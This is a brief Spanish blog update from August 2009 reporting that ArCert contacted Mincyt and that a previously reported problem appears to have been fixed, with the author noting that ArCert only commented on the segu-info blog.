Actualización (13/Ago/2009 – 21:30hrs): Como pueden ver en los comentarios, la gente de ArCert se puso en contacto con Mincyt para solucionar el problema y al parecer ya lo han solucionado. Estas personas nunca se contactaron conmigo, sino que dejaron un comentario en el blog de segu-info.

Compartir/Guardar